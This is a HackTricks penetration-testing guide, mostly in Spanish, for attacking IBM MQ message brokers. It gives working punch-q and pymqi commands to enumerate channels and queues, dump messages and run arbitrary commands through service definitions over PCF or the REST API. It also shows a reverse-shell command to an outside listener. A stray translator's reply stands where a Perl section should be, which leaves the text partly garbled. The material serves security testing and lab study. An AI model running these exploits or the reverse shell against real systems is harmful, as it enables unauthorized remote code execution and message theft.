1414 - Pentesting IBM MQ
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
IBM MQ es una tecnología de IBM para gestionar colas de mensajes. Al igual que otras tecnologías de message broker, está dedicada a recibir, almacenar, procesar y clasificar información entre productores y consumidores.
Por defecto, expone el puerto TCP 1414 de IBM MQ. A veces, la API HTTP REST puede exponerse en el puerto 9443. Las métricas (Prometheus) también pueden accederse a través del puerto TCP 9157.
El puerto TCP 1414 de IBM MQ puede usarse para manipular mensajes, colas, canales, … pero también para controlar la instancia.
IBM proporciona una amplia documentación técnica disponible en https://www.ibm.com/docs/en/ibm-mq.
Herramientas
Una herramienta sugerida para facilitar la explotación es punch-q, con uso en Docker. La herramienta utiliza activamente la librería Python pymqi.
Para un enfoque más manual, use la librería Python pymqi. Se necesitan IBM MQ dependencies.
Instalación de pymqi
Las IBM MQ dependencies deben instalarse y cargarse:
- Cree una cuenta (IBMid) en https://login.ibm.com/.
- Descargue las librerías de IBM MQ desde https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Para Linux x86_64 es 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Descomprima (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Ejecute
sudo ./mqlicense.shpara aceptar los términos de la licencia.
Si está usando Kali Linux, modifique el archivo
mqlicense.sh: elimine/comente las siguientes líneas (entre las líneas 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Instale estos paquetes:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Luego, añade temporalmente los archivos
.soa LD:export LD_LIBRARY_PATH=/opt/mqm/lib64, antes de ejecutar otras herramientas que usen estas dependencias.
Luego, puedes clonar el proyecto pymqi: contiene fragmentos de código interesantes, constantes, … O puedes instalar la librería directamente con: pip install pymqi.
Usando punch-q
Con Docker
Simplemente ejecuta: sudo docker run --rm -ti leonjza/punch-q.
Sin Docker
Clona el proyecto punch-q y sigue el readme para la instalación (pip install -r requirements.txt && python3 setup.py install).
Después, se puede usar con el comando punch-q.
Enumeración
Puedes intentar enumerar el nombre del gestor de colas, los usuarios, los canales y las colas con punch-q o pymqi.
Si TCP/1414 está filtrado o el objetivo solo expone el servidor web embebido, revisa también TCP/9443. Las versiones recientes de IBM MQ exponen por defecto allí la IBM MQ Console / REST API cuando mqweb está habilitado, y el endpoint REST administrativo puede ejecutar comandos MQSC arbitrarios si tienes credenciales válidas.
Gestor de colas
A veces no hay protección para obtener el nombre del gestor de colas:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Canales
punch-q está usando una wordlist interna (modificable) para encontrar canales existentes. Ejemplo de uso:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Sucede que algunas instancias de IBM MQ aceptan solicitudes MQ no autenticadas, por lo que --username / --password no son necesarios. Por supuesto, los derechos de acceso también pueden variar.
En cuanto obtenemos el nombre de un canal (aquí: DEV.ADMIN.SVRCONN), podemos enumerar todos los demás canales.
La enumeración se puede hacer básicamente con este fragmento de código code/examples/dis_channels.py de pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Pero punch-q también incorpora esa parte (¡con más información!). Puede lanzarse con:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Muchos casos de “se conecta pero devuelve 2035” son causados por reglas CHLAUTH o por permisos OAM faltantes en los objetos de destino.
Si ya tienes acceso administrativo MQSC, MATCH(RUNCHECK) es la forma más rápida de entender qué regla se aplicará a una conexión remota:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
A través del endpoint admin REST en 9443, la misma comprobación se puede realizar de forma remota:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Si tienes suficientes derechos para usar PCF de forma remota, IBM expone MQCMD_INQUIRE_CHLAUTH_RECS, que devuelve los registros de autenticación de canales y sus asignaciones a MCAUSER. Esto es útil para confirmar si un canal asigna usuarios remotos a una cuenta local con más privilegios antes de intentar acceso a mensajes, creación de objetos o abuso de servicios.
Colas
Hay un fragmento de código con pymqi (dis_queues.py) pero punch-q permite obtener más información sobre las colas:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Puedes apuntar a queue(s)/channel(s) para sniff out / dump messages desde ellos (operación no destructiva). Ejemplos:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
No dudes en iterar sobre todas las colas identificadas.
Ejecución de código
Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation. PCF (Programmable Command Formats) is what we are focused on to interact remotely with the instance. punch-q and furthermore pymqi are based on PCF interactions.
You can find a list of PCF commands:
One interesting command is
MQCMD_CREATE_SERVICEand its documentation is available here. It takes as argument aStartCommandpointing to a local program on the instance (example:/bin/sh).There is also a warning of the command in the docs: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at
/admin/action/qmgr/{qmgrName}/mqscto run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.
If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.
La creación/eliminación de servicios con PCF para ejecución remota de programas se puede realizar con punch-q:
Ejemplo 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
En los registros de IBM MQ, puedes leer que el comando se ejecutó correctamente:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
También puedes enumerar los programas existentes en la máquina (aquí /bin/doesnotexist … no existe):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Ten en cuenta que el lanzamiento del programa es asincrónico. Por lo tanto, necesitas un segundo elemento para aprovechar el exploit (listener for reverse shell, file creation on different service, data exfiltration through network …)
La misma técnica puede ejecutarse desde la REST API:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Esto es especialmente útil durante las evaluaciones en las que:
9443es accesible pero1414está restringido a un rango de origen más pequeño- El equipo objetivo gestiona IBM MQ principalmente a través de la consola web y ha olvidado reforzar los roles REST
- Quieres evitar instalar IBM MQ client libraries localmente y solo necesitas administración a nivel MQSC
Ejemplo 2
Para un reverse shell sencillo, punch-q propone también dos reverse shell payloads :
- Uno con bash
- Uno con perl
Por supuesto puedes construir uno personalizado con el comando execute.
Para bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
¿Quieres traducir solo “For perl:”? En ese caso: “Para perl:”
Si quieres que traduzca la sección completa relacionada con Perl, pega el contenido (incluyendo el markdown) y lo traduzco manteniendo exactamente la misma sintaxis y las reglas que indicaste.
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
PCF personalizado
Puedes profundizar en la documentación de IBM MQ y usar directamente la biblioteca python pymqi para probar comandos PCF específicos que no están implementados en punch-q.
Ejemplo:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Si no puedes encontrar los nombres de las constantes, puedes consultar la IBM MQ documentation.
_Ejemplo para
MQCMD_REFRESH_CLUSTER(Decimal = 73). Necesita el parámetroMQCA_CLUSTER_NAME(Decimal = 2029) que puede ser_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Entorno de pruebas
Si quieres probar el comportamiento de IBM MQ y exploits, puedes configurar un entorno local basado en Docker:
- Tener una cuenta en ibm.com y cloud.ibm.com.
- Crear un IBM MQ containerizado con:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Aquí, el nombre del queue manager se ha establecido en MYQUEUEMGR (variable MQ_QMGR_NAME).
Las imágenes de desarrollo recientes 9.4.x cambiaron el comportamiento por defecto:
adminyappsolo se crean si estableces sus contraseñas- IBM documenta
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDcomo obsoletos desde9.4.0.0 - La forma preferida es inyectar secretos llamados
mqAdminPasswordymqAppPassword
Para un laboratorio local rápido con Podman, puedes crear ambos usuarios así:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Con la configuración predeterminada para desarrolladores:
DEV.ADMIN.SVRCONNsolo permite al usuarioadminDEV.APP.SVRCONNes el canal de la aplicación y el usuarioappes la identidad esperadahttps://<target>:9443/ibmmq/consoleexpone la consola web cuando el servidor web embebido está habilitado
Debes tener IBM MQ en funcionamiento con sus puertos expuestos:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Las versiones antiguas de las docker images de IBM MQ están en: https://hub.docker.com/r/ibmcom/mq/.
Referencias
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- Documentación de IBM MQ
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - Configuración predeterminada de desarrollador del contenedor IBM MQ
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


